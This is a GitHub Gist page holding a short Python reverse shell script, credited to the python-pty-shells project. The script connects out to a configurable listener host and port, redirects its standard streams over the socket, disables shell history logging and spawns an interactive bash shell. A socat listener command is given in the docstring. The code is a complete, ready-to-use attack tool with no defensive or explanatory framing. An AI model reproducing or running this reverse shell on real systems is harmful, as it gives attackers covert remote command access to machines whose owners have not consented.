Last active
August 14, 2018 08:03
-
-
Save ddepaoli3/5266155c06c637d5f06bbcd434db50f6 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
''' | |
Credits: https://github.com/infodox/python-pty-shells | |
''' | |
""" | |
Reverse Connect TCP PTY Shell - v1.0 | |
infodox - insecurety.net (2013) | |
Gives a reverse connect PTY over TCP. | |
For an excellent listener use the following socat command: | |
socat file:`tty`,echo=0,raw tcp4-listen:PORT | |
Or use the included tcp_pty_shell_handler.py | |
""" | |
import os | |
import pty | |
import socket | |
lhost = "127.0.0.1" # XXX: CHANGEME | |
lport = 1337 # XXX: CHANGEME | |
def main(): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((lhost, lport)) | |
os.dup2(s.fileno(),0) | |
os.dup2(s.fileno(),1) | |
os.dup2(s.fileno(),2) | |
os.putenv("HISTFILE",'/dev/null') | |
pty.spawn("/bin/bash") | |
s.close() | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment